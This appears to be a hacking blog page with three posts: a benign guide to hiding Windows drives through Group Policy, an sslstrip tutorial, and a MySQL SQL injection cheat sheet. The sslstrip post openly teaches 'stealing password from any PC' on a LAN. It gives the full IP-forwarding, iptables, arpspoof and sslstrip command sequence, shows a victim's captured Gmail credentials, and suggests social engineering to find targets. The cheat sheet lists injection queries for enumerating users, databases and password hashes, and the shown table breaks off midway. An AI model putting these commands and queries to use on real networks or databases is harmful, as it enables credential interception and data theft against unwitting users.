Fadu Hack

Easiest Way to Make Your Drives Unvisible and Unaccessable from My Computer

<div dir="ltr" style="text-align: left;" trbidi="on">
Hello Everyone,<br />
<br />
<b><span style="color: red;">[PLEASE VISIT OUR ANOTHER BLOG WWW.CYBERSECURITYSPACE.COM]</span></b><br />
<br />
In this post I am going to show you how you can hide your drives in My Computer or This Pc. So that no one can access it easily even if you are not in front of your computer. :-D<br />
<br />
1. Search "gpedit"/ "gpedit.msc" in your computer and click on it.<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVxd4AG0aVFB04kQrR5otANTO8EIkarBP8Wq6rwJmTDqjGs8wlaY0uHkc_bC5KgedAezMOxC4GqIApCZ-3rmsgIsDtpD08iupGoAcZHFSyY7wRLsNkysL2q8VahIAFYHrMgkYMYk1NFg/s320/search.png" width="207" /></div>
<br />
2. You have to give the administrator permission to access it.<br />
<br />
3. The gpedit will look like this and you will find User configuration option. Click on it. Then click on the small arrow beside 'Administrative Templates' to expand the options.<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihgXiNefJtudj8A038QkZ92KndH18O0RMTrETYvb0zh0ibAffJ62IUsGn8qUVlsrpS4b-2jQ8I5HmQtxnwpyfRyfK_3E_iWXPkOdagVdrkPLvw-17OLiGWLhQeIb6YXA1falpTMVKL0g/s400/admintemplate.png" width="400" /></div>
<div class="separator" style="clear: both;">
4. Now click on the small arrow beside 'Windows component' option and you will find a lot of options.From that option directly click on 'File Explorer' or ' Windows Explorer' depending on your windows version. You will see the following screens.</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFpyUPsQl41DWyEpKQstvNneDGT_vZVvaX_pdzgBhQYsKsA6gc4VS3U6E8XgBM1vbbhyphenhyphen3CAfGXsVqazQIHZsF5MRwd1za0YDvw_F7NYJ99Sw2wzENIforWxcHqA2o64zX4x8rl8JzP8A/s400/fileexplorer.png" width="400" /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0ea7F9icLj3GDuLWB0bt7dJLbAbM5cMyarkj_96OJpJx-G95wCtiCq8H-kpmAenGzvvyeBoSKfr-Y-ynRQw4DtatBxJbhpgVPrr29cpi7T2Fv_g88ZOk6bKQKpEBxQSe6tOHI06tvjg/s400/drivehide.png" width="400" /></div>
5. Double Click on the option 'Hide this specific Drives in My Computer'.The following dialogue box will appear. Then click the enable option and choose the drives you want to hide. I want to hide all drives. Then click on Apply and Ok.<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7rPeb_l6Mv_vD1x8XbpOPCUCdSn9nxwfjvAB92ETe9qfD7j7fMxkuILoYWLNPrrNhD1rYfronf_9t5QuZDFp5FniLrLM95fnhP97xy6VBd18AkGjHa1GWSGo5j6eW8qKds6gKawSDPA/s400/restrict1.png" width="400" /></div>
<div class="separator" style="clear: both;">
6. Now visit my computer. see, there is no drive.<span style="color: red;"> </span></div>
<div class="separator" style="clear: both;">
<span style="color: red;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">If you can see your drives refresh your page or close it and once again click apply and ok in the dialogue box, then reopen my computer.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjifR5J5r1ZNPaUQclgNfiDKVMGBCNKdlX1QUPRoZA9JHC9H1LZz-N_C0a_SEcjmvFSP6mycBOHlM0jIZWn3ZrWOr7VoVx8I3KvhOJOb6sPL4isXwY3JVkrMdgVxbnztqzIvj1R2p43YA/s400/file1.png" width="400" /></div>
<div class="separator" style="clear: both;">
But you can see the menu bar from where anyone can access your  drives. Right???</div>
<div class="separator" style="clear: both;">
<span style="color: red;"><br /></span></div>
<div class="separator" style="clear: both;">
7. Now go back to gpedit. and double click on another option called ' Remove File menu from File Explorer'. </div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg72I752RxxklQFj0Z2UOLwLO_NYhms0OPAVmvqKbR-S-XYryylvV2lEmn8Wu0Juu7W6t4XjktMe_ODYoqix6jHuH_GxhodnQzCUCMTp5nwMVO120S7Qo1jY6x_miBxvT3Huv5WXlEe3A/s400/menu.png" width="400" /></div>
<div class="separator" style="clear: both;">
8. Click on 'Enable' and ok.</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCrOzeyV8uZrPrQF8AMAJMkw1JVcyRMenly4Em8se-qWunHxa-wqshX29oJcBokUrvM_cijljzEBkSlOsiKnqVnlKS45rmfpN8jtVOhWR-ID5cGFHiJ0hyphenhyphenSLYxAvcTCligLHcOEKzKcw/s400/menuenable.png" width="400" /></div>
<div class="separator" style="clear: both;">
9. Now you can go to my computer and see that there is no drives in the menu bar. </div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSg9li7WgCfURgr_dUUMUc9Uw-nywgLV6kHZCP02bHlLe0lrfOy4A9bXwaj9q3KxPM6X0L8BVEEYTZX3xwy4KkuG-Rx2NeLM4huxuWEGY0SqDHgdGQW4hQZDk68sROeJMakkY5iAgKVQ/s400/nofile.png" width="400" /></div>
10. But anyone can access it from the address bar by just typing 'D:\' :-) Don't worry I have Solution.<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGLibcbLWTYj4yErwuhqhtsJkLaaac80_f90eQNED0UK3bSQR8SR0PW9fODzhPBqVvy7kcQFcSlrW9WnL2IaA3JGlaxCQcOBAEYDkjOISO1KPYobbfZUxcWK9rUgREAMq7zI62z7SA6A/s400/accessd.png" width="400" /></div>
11.  Go to gpedit. You will get another option 'Prevent access to drives from My Computer'<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimPrmoqggoMetzXhsMQoosLMzRE0lzvm7688tJjPB3PWWaMFhGRmQVMyBdCNiqf1AGv6IQmQNsqufhqS3NK272UB9m2_LzOs3K4wXbAvez5McnrmKfnnZpELkgE9lqLG654L2-iB9LIA/s400/prevent.png" width="400" /></div>
12. Enable it and click ok. Now go to My computer and enter 'D:\' in the address bar. See what is coming.<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggjkCpjWoZRxaJg1y0QOOyxiPJtzPK9OXnsun11UdOB-Rrph85QQ84YpE0N2Pt3cKdgDWkT3cd9hsdARlvCsVk43kE3y-Vvb_niHZJ1JCL9K9cs5nEXrlMSTc3u5vI7w9SPzHlj6Bb4w/s400/restrict2.png" width="400" /></div>
Finally, you have become smart enough to hide your drives... :-D ...<br />
<br />
<span style="color: red;"><b>[PLEASE VISIT OUR ANOTHER BLOG WWW.CYBERSECURITYSPACE.COM]</b></span><br />
<br />
Happy Hacking.............</div>

Easiest Way to Make Your Drives Unvisible and Unaccessable from My Computer

Hello Everyone, [PLEASE VISIT OUR ANOTHER BLOG WWW.CYBERSECURITYSPACE.COM] In this post I am going to show you how you can hide your dr...

How to use sslstrip in kali linux

<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Intro</b> – In this tutorial we will use sslstrip for stealing password from any PC which is connected in LAN. SSLStrip basically hijacks HTTP traffic. Now a days its little difficult to steal password of some website. <br />
<br />
1. How to open<br />
A. GUI Method<br />
<blockquote class="tr_bq">
Application →Kali Linux → Information gathering → SSL Analysis → sslstrip</blockquote>
<div style="text-align: center;">
<img height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLPVMNk8im_E-6d8cdSR5b2Y5mOIufA1S_jXojIpdCSVkNOuOnNg_-PcZp2V67HS_yqeoTji3vWj_p6eh97rZoz8of9gozQQlAZrHEkaDP-qjeHpe69bQ7aMi9BAP3KGsTQx8kl9T5iOBZ/s640/1_new.jpg" width="640" /></div>
B. Open terminal type<b> sslstrip –h</b> this command will open sslstrip with help option<br />
<div style="text-align: center;">
<img height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2naU7MX0vqjSGEwsYh65Tc7GuRk4RC9UxxwRF9zXPs5906buYwME9BOHYtxj2JqKrG3H9ohv1IIAhy4kX25Kk-XdBbAY1kk2Dz7U-YePN7VuoBBEgcuwWHe8ejqIafeles22l5eImAU_7/s640/1b_new.jpg" width="640" /></div>
Before starting sslstrip we need to do some other works for trapping our target<br />
a.       IP forwarding<br />
b.      IP table for redirect 80 to 8080<br />
c.       Finding Gateway IP<br />
d.      Finding Target IP<br />
e.      Arpspoof<br />
<br />
2. This command is used to enable IP forwarding.<br />
<blockquote class="tr_bq">
Syntax – echo ‘1’ > /proc/sys/net/ipv4/ip_forward</blockquote>
<div style="text-align: center;">
<img height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZqWAtYqIrzpojLs3gu_pOOhryMCxJ5RcJ_DRQM3LsXrgUqV2sB1Vg_x7lyxyKKEZ1coOuZc3MU4WEgF_-KulL7n0MSzfpDUmmTzWbu8cQrnSfptLAcFM1pV-3WZdhWRp0TxjiG9DV4KM7/s640/2_new.jpg" width="640" /></div>
3. This command is use to redirect requests from port 80 to port 8080 to ensure our outgoing connections (from SSL Strip) get routed to the proper port.<br />
<blockquote class="tr_bq">
Syntax – iptables –t nat –A PREROUTING –p tcp –destination-port 80 –j REDIRECT –to-port 8080</blockquote>
<div style="text-align: center;">
<img height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO8ReA148XhNSM3fL273Yk4Zh1_YnFdU21VvZd4KHR8fGzAUscLvQvrC4BNDQJOZLWQkcVyLm1Gi483D3Bh5fImJE1Fe8QNHebRiChspjENspevzX8mkpMHhia-iMn-pHqVX3omdBmd88h/s640/3_new.jpg" width="640" /></div>
4. This command is used to find out gateway IP.<br />
<blockquote class="tr_bq">
Syntax – netstat -nr</blockquote>
<div style="text-align: center;">
<img height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikI2TuEKCtTTpzb3nt5Kvce3mBEg77YjuzsmQBJrzaglyiZUP_UZMABiAXT2aw5m-LwxYwAu7Co07WkboyRJ1Ogy2140q63lQTx_oZwnH46SeWmMXF_bTGO8kDh6XM8Gk9mrCxVwQwAEQS/s640/4_new.jpg" width="640" /></div>
5. This is our Target OS Windows XP, by using ipconfig we got the target IP. I know you are thinking if I want to trap a unknown LAN PC then how will we find out the IP address. Well its not more difficult some Social engineering can do your job. Come to the point on sslstrip tutorial. So note down the target IP.<br />
<div style="text-align: center;">
<img height="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigYc0FaSIbDyrx_3fCLo3KvzIwiAvkCuETqPhdUDXM6n7ako9irEtO94levEzryYfkab6kkBno6GXLgYBBUQQnu2hBQzDvbfeOn6BDckk1BJl4zSHEQuwuimCEVsz2XMPCewUQXk2ZOsJr/s640/5_new.jpg" width="640" /></div>
6. This command is use to redirect all network HTTP traffic through our computer using ARPSpoof (don’t forget to enable IP forwarding before this)<br />
<blockquote class="tr_bq">
Syntax – arpspoof –i interface –t target IP –r gateway Ip</blockquote>
Ex – arpspoof –i eth0 –t 192.168.71.128 –r 192.168.71.2<br />
<div style="text-align: center;">
<img height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFXy0OGs_Hn3CqOxuQr20fqEz_fUFRdhiK8-6iL0TItWjHPrfbMPrLDbXVPtIvThXq-TtRkPzNp50UY1BgHk9Y3pX8WBA2fqG86_Jp6Q5Qde8RD7R6BsIbRxHkyhH3rT33XIqAunhGzXeM/s640/6_new.jpg" width="640" /></div>
7.  Now we need to open a new terminal because this terminal is running arpspoof and we can’t stop it right now.<br />
<img height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9CzlbCkdcJuNeJ3yJqQ0gtae1b9IcYb2JjLhuDZrYZXDcdpIM5GIerdMbS1DBu-T9LhptCpu8LtVmewMgHJEBT_PaYZZYdLGixPPgcrfUJA8KHZxQSNc2n-7ktQWCz5WYMLVR0OFLWa_z/s640/7_new.jpg" style="text-align: center;" width="640" /><br />
8.  In new terminal use this command , This command is used to listening port. "-l" tells the system to listen on specified port.<br />
<blockquote class="tr_bq">
Syntax – sslstrip –l 8080</blockquote>
<div style="text-align: center;">
<img height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCD_0gxfaAtqXQ0A2UXw89TXwjttdfB-uHpjIMOrLYmijgGVFulnUtZtjSL3xGOAbGI2JMIMs0taqkoj9RRLm4ow_svWNuV7j1wC1EEfZOTDkWY5z6unaghjQ-tKL16g16Qb-rvCepiB0E/s640/8_new.jpg" width="640" /></div>
9. Now come to the target OS and open www.gmail.com  and enter your username and password than click on sign in. Its normally like we are use for checking our gmail.<br />
<div style="text-align: center;">
<img height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLgx3rAmjeDYxQ9N_EHlrd763yimthGC_0kwTVVIDVe9d5B8kRpw6fhjydwi0roCse09ryaSxLDvU8X0hc9Ppv0hP5ztc2dL6TkmxVGVT89BajV4-7IaGgCEZAsieWMQX74HWWS4AYoCpm/s640/9_new.jpg" width="640" /></div>
10. after clicking sign in on target os come to the attacker PC (Kali Linux). You will see sslstrip capture some data after finishing the capture press ctrl + C for stopping sslstrip. Data automatically save in a file named sslstrip.log.<br />
<div style="text-align: center;">
<img height="393" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvRqasJR_f87D678GIrrZY13weMe_sNzkvC-D6ZbQWqYlca09Fy1_Wu3DbVRKw_52D-HzrVBXM87YBmDNBD_fuU1xL5QhNhR8uI_-D4YxLz0s8PSpPnnYbJs2oo1jT1x4KCc4lmxYiFhPN/s640/10_new.jpg" width="640" /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<img height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGXUyVVpZ_9rGEhSbdnnuPXfm_bZwCXuHjx8JKaBWIUYZkQ13qtl4L3CUMWFt357xHBCIXAzIRNyk2uZOdeKMhWsW-Ii7e6YXR01kFW8DhQYYvjaWRFnGYNVrLd6ejV6qNwVT7nMC5x0M/s640/10a_new.jpg" width="640" /></div>
11. Here use ls command so you can see the saved file as sslstrip.log.<br />
<div style="text-align: center;">
<img height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB6MAxlatcbQA5Y1YieXZVgTozOEaCU9W2oVCRiEeWcSxnR-OeXuwaHxzNaitb_gbfNXsoPmskj3a8XhuQfrhu9yJqLxVtwzoF17jWIFVupscI-g8xwUTuq6sK3XXbdF-P-UamSACxA0WH/s640/11_new.jpg" width="640" /></div>
12. use cat and open your sslstrip.log file and watch carefully. Hmm there is your victim email id and password as shown in image.<br />
<blockquote class="tr_bq">
Syntax – cat sslstrip.log</blockquote>
<div style="text-align: center;">
<img height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA5R9VRpweHuAQYG0iVqF7aHeOguZIHsSJAVRbtleJxLtlismmXKyu48850_d9a2CBBeWSZa4dME_PVJwi8PK8k1JpbHqoy1dhCzjU5XNWizpPiI1lbGHyTgfA0Xt8e7aiBv1A3STUvNvy/s640/12_new.jpg" width="640" /></div>
All in one(do like this)</div>

How to use sslstrip in kali linux

Intro – In this tutorial we will use sslstrip for stealing password from any PC which is connected in LAN. SSLStrip basically hijacks HTTP...

MySQL SQL Injection Cheat Sheet

<div dir="ltr" style="text-align: left;" trbidi="on">
Some useful syntax reminders for SQL Injection into MySQL databases…<br />
This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.<br />
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEiT6RQQkJdLL9jW5LAoBdlywqdhUFbXI8xRPteGWJZllR1ZO2DS0VGUD3Gvu5nu_B_G77ddELSpqUfpSWjGBRK32lMRwjOT1qVt7nWuQJiNNqUNLK2nEXn0o4Wf-Q5_A-U197v8qrl3Oa0FKnfkrCZV=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="http://www.mediaatelier.com/CheatSheet/image.png" style="cursor: move;" width="160" /></a>The complete list of SQL Injection Cheat Sheets I’m working is:<br />
<ul style="text-align: left;">
<li>Oracle</li>
<li>MSSQL</li>
<li>MySQL</li>
<li>PostgreSQL</li>
<li>Ingres</li>
<li>DB2</li>
<li>Informix</li>
</ul>
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.<br />
<br />
<table border="1" style="background: rgb(255, 255, 255); border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(231, 231, 231); color: #4c5356; font-family: Arial, Helvetica, sans-serif; font-size: 12.961296081543px; line-height: 17.4977493286133px; margin: 0px -1px 24px 0px; outline: 0px; padding: 0px; vertical-align: baseline; width: 600px;"><tbody style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Version</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@version</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Comments</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 1; #comment<br />
SELECT /*comment*/1;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Current User</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT user();<br />
SELECT system_user();</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT user FROM mysql.user; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Password Hashes</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT host, user, password FROM mysql.user; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Password Cracker</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;"><a href="http://www.openwall.com/john/" style="background: transparent; border: 0px; color: #0099bb; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">John the Ripper</a> will crack MySQL password hashes.</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Privileges</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List DBA Accounts</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Current Database</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT database()</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Databases</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0<br />
SELECT distinct(db) FROM mysql.db — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Columns</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Tables</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Find Tables From Column Name</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Select Nth Row</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0<br />
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Select Nth Char</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT substr(‘abcd’, 3, 1); # returns c</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Bitwise AND</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 6 & 2; # returns 2<br />
SELECT 6 & 1; # returns 0</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">ASCII Value -> Char</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT char(65); # returns A</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Char -> ASCII Value</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT ascii(‘A’); # returns 65</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Casting</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT cast(’1′ AS unsigned integer);<br />
SELECT cast(’123′ AS char);</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">String Concatenation</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT CONCAT(‘A’,'B’); #returns AB<br />
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC</td></tr>
